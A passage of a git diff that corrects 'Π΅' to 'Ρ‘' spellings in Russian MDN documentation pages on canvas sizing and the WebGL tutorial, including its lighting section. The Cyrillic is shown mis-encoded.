ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для сохранСния рСсурсов, отрисовывая с Π½ΠΈΠ·ΠΊΠΈΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈ позволяя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚; ΡΠΆΠΈΠΌΠ°Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈ использовании эффСкта ΠΈΠ·Π±Ρ‹Ρ‚ΠΎΡ‡Π½ΠΎΠΉ Π²Ρ‹Π±ΠΎΡ€ΠΊΠΈ сглаТивания ( super sample antialiasing - SSAA) (ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ΠΌΠ΅Π½Π΅Π΅ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ ΠΈ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Ρ‹ΠΌ потСрям ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ). Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° ΠΌΠ½ΠΎΠΆΠ΅ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Π²Ρ‹Π±ΠΎΡ€ΠΊΡƒ сглаТивания (<abbr style="line-height: 24px;" title='"Multisample'>MSAA) ΠΈ </abbr>Π½Π° Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠ² Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ тСкстур, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ‡Π΅ΠΌ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎ ΠΆΠ΅ самоС посрСдством Π³Ρ€ΡƒΠ±ΠΎΠΉ силы ΠΈ Π½Π°Π΄Π΅ΡΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, выдаст красивый Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ canvas Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€, Π² случаС, Ссли Π΅Π³ΠΎ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ области отрисовки, Ρ‡Π΅ΠΌ Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Π² Π΅Π³ΠΎ стилях CSS, согласно ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΎΠ½ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ мСсто Π½Π° экранС. ИзмСнСниС Ρ€Π°Π·ΠΌΠ΅Ρ€Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для сохранСния рСсурсов, отрисовывая с Π½ΠΈΠ·ΠΊΠΈΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈ позволяя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚; ΡΠΆΠΈΠΌΠ°Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈ использовании эффСкта ΠΈΠ·Π±Ρ‹Ρ‚ΠΎΡ‡Π½ΠΎΠΉ Π²Ρ‹Π±ΠΎΡ€ΠΊΠΈ сглаТивания ( super sample antialiasing - SSAA) (ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ΠΌΠ΅Π½Π΅Π΅ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ ΠΈ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Ρ‹ΠΌ потСрям ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ). Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° ΠΌΠ½ΠΎΠΆΠ΅ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Π²Ρ‹Π±ΠΎΡ€ΠΊΡƒ сглаТивания (<abbr style="line-height: 24px;" title='"Multisample'>MSAA) ΠΈ </abbr>Π½Π° Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠ² Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ тСкстур, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ‡Π΅ΠΌ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎ ΠΆΠ΅ самоС посрСдством Π³Ρ€ΡƒΠ±ΠΎΠΉ силы ΠΈ Π½Π°Π΄Π΅ΡΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, выдаст красивый Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚.</p>
<h3 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h3>
diff --git a/files/ru/web/api/webgl_api/tutorial/index.html b/files/ru/web/api/webgl_api/tutorial/index.html
index 9b0f0f75e6..88f55bf361 100644
--- a/files/ru/web/api/webgl_api/tutorial/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/WebGL_API/Tutorial
<h2 id="ΠŸΠ΅Ρ€Π΅Π΄_Ρ‚Π΅ΠΌ_ΠΊΠ°ΠΊ_Π½Π°Ρ‡Π°Ρ‚ΡŒ">ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Ρ‚ΡŒ</h2>
-<p>ИспользованиС элСмСнта <code>&lt;canvas&gt;</code>Β  - это Π½Π΅ слоТно, Π½ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ основы <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a>Β ΠΈΒ <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. <code>&lt;canvas&gt;</code>Β ΠΈΒ WebGL Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² послСдних вСрсиях всСх основных. Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ Π½Π° canvas Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ контСкста JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ Π½Π° Π»Π΅Ρ‚Ρƒ.</p>
+<p>ИспользованиС элСмСнта <code>&lt;canvas&gt;</code>Β  - это Π½Π΅ слоТно, Π½ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ основы <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a>Β ΠΈΒ <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. <code>&lt;canvas&gt;</code>Β ΠΈΒ WebGL Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² послСдних вСрсиях всСх основных. Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ Π½Π° canvas Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ контСкста JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ Π½Π° Π»Π΅Ρ‚Ρƒ.</p>
<h2 id="Π’_этом_руководствС">Π’ этом руководствС</h2>
@@ -35,5 +35,5 @@ translation_of: Web/API/WebGL_API/Tutorial
<dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">ΠžΡΠ²Π΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²Β WebGL</a></dt>
<dd>Как ΡΠΈΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эффСкт свСта в контСкстС WebGL.</dd>
<dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">АнимированиС тСкстур Π²Β WebGL</a></dt>
- <dd>Как Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ тСкстуры; здСсь ΠΏΡƒΡ‚Π΅ΠΌ отобраТСния Ogg Π²ΠΈΠ΄Π΅ΠΎ Π½Π° ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ ΠΊΡƒΠ±Π°.</dd>
+ <dd>Как Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ тСкстуры; здСсь ΠΏΡƒΡ‚Ρ‘ΠΌ отобраТСния Ogg Π²ΠΈΠ΄Π΅ΠΎ Π½Π° ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ ΠΊΡƒΠ±Π°.</dd>
</dl>
diff --git a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
index 57c1b21e35..f1645ba200 100644
--- a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
<p><strong>ΠžΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΠΉ свСт</strong> освСщаСт всю сцСну. Он Π½Π΅ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΈ освСщаСт всС Π³Ρ€Π°Π½ΠΈ всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ, Π½Π΅ зависимо ΠΎΡ‚ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ Π³Ρ€Π°Π½Π΅ΠΉ.</p>
-<p><strong>НаправлСнный свСт</strong> исходит ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ направлСния. Π­Ρ‚ΠΎΡ‚ свСт ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ ΠΎΡ‚ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ источника, Ρ‡Ρ‚ΠΎ всС Ρ„ΠΎΡ‚ΠΎΠ½Ρ‹ лСтят ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Ρƒ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, солнСчный свСт ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ.</p>
+<p><strong>НаправлСнный свСт</strong> исходит ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ направлСния. Π­Ρ‚ΠΎΡ‚ свСт ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ ΠΎΡ‚ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ источника, Ρ‡Ρ‚ΠΎ всС Ρ„ΠΎΡ‚ΠΎΠ½Ρ‹ лСтят ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Ρƒ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, солнСчный свСт ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ.</p>
<p><strong>Π’ΠΎΡ‡Π΅Ρ‡Π½Ρ‹ΠΉ свСт</strong> исходит ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ Π²ΠΎ всСх направлСниях.Β Π’ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΌΠΈΡ€Π΅ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ источники освСщСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΡ‡Π΅Ρ‡Π½Ρ‹ΠΌΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ элСктричСская Π»Π°ΠΌΠΏΠΎΡ‡ΠΊΠ°.</p>
@@ -28,11 +28,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
<li>Нам Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ распространяСтся свСт. Оно опрСдСляСтся <strong>Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠΌ направлСния</strong>.</li>
</ol>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΎΠ±Π½ΠΎΠ²ΠΈΠΌ Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ Π² зависимости ΠΎΡ‚ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ ΠΈ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ освСщСния с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ ΡƒΠ³Π»Π° падСния Π½Π° Π³Ρ€Π°Π½ΡŒ. ΠœΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ, ΠΊΠ°ΠΊ это дСлаСтся, ΠΊΠΎΠ³Π΄Π° посмотрим Π½Π° ΠΊΠΎΠ΄ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π°.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΎΠ±Π½ΠΎΠ²ΠΈΠΌ Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ Π² зависимости ΠΎΡ‚ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ ΠΈ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ освСщСния с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ ΡƒΠ³Π»Π° падСния Π½Π° Π³Ρ€Π°Π½ΡŒ. ΠœΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ, ΠΊΠ°ΠΊ это дСлаСтся, ΠΊΠΎΠ³Π΄Π° посмотрим Π½Π° ΠΊΠΎΠ΄ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π°.</p>
<h2 id="ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅_Π½ΠΎΡ€ΠΌΠ°Π»ΠΈ_для_Π²Π΅Ρ€ΡˆΠΈΠ½">ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅ Π½ΠΎΡ€ΠΌΠ°Π»ΠΈ для Π²Π΅Ρ€ΡˆΠΈΠ½</h2>
-<p>Π‘Π½Π°Ρ‡Π°Π»Π° Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ массив Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ для всСх Π²Π΅Ρ€ΡˆΠΈΠ½, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… состоит наш ΠΊΡƒΠ±.Β Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ просто, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΡƒΠ± ΠΎΡ‡Π΅Π½ΡŒ простой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ для Π±ΠΎΠ»Π΅Π΅ слоТных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² расчСт Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ Π·Π°Ρ‚Ρ€Π°Ρ‚Π½Ρ‹ΠΌ.</p>
+<p>Π‘Π½Π°Ρ‡Π°Π»Π° Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ массив Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ для всСх Π²Π΅Ρ€ΡˆΠΈΠ½, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… состоит наш ΠΊΡƒΠ±.Β Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ просто, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΡƒΠ± ΠΎΡ‡Π΅Π½ΡŒ простой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ для Π±ΠΎΠ»Π΅Π΅ слоТных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² расчёт Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ Π·Π°Ρ‚Ρ€Π°Ρ‚Π½Ρ‹ΠΌ.</p>
<pre class="brush: js">Β  const normalBuffer = gl.createBuffer();
Β  gl.bindBuffer(gl.ARRAY_BUFFER, normalBuffer);
@@ -89,7 +89,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
</pre>
-<p>Код ΡƒΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡƒΠ·Π½Π°Π²Π°Π΅ΠΌΠΎ. ΠœΡ‹ создаСм Π½ΠΎΠ²Ρ‹ΠΉ Π±ΡƒΡ„Π΅Ρ€, связываСм Π΅Π³ΠΎ с Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌ Π±ΡƒΡ„Π΅Ρ€ΠΎΠΌ ΠΈ записываСм Π² Π½Π΅Π³ΠΎ массив Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ ΠΊ Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ <code>bufferData()</code>.</p>
+<p>Код ΡƒΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡƒΠ·Π½Π°Π²Π°Π΅ΠΌΠΎ. ΠœΡ‹ создаём Π½ΠΎΠ²Ρ‹ΠΉ Π±ΡƒΡ„Π΅Ρ€, связываСм Π΅Π³ΠΎ с Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌ Π±ΡƒΡ„Π΅Ρ€ΠΎΠΌ ΠΈ записываСм Π² Π½Π΅Π³ΠΎ массив Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ ΠΊ Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ <code>bufferData()</code>.</p>
<p>Π—Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π²Β <code>drawScene()</code>Β ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ свяТСт массив Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ смоТСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊ Π½Π΅ΠΌΡƒ доступ:</p>
@@ -114,7 +114,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
Β  }
</pre>
-<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ строит ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹ для uniform-ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π² ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ <strong>ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρƒ Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ</strong>, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для трансформации Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ ΠΏΡ€ΠΈ расчСтС ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΊΡƒΠ±Π° ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ направлСния Π½Π° источник свСта:</p>
+<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ строит ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹ для uniform-ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π² ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ <strong>ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρƒ Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ</strong>, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для трансформации Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ ΠΏΡ€ΠΈ расчётС ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΊΡƒΠ±Π° ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ направлСния Π½Π° источник свСта:</p>
<pre class="brush: js">Β  const normalMatrix = mat4.create();
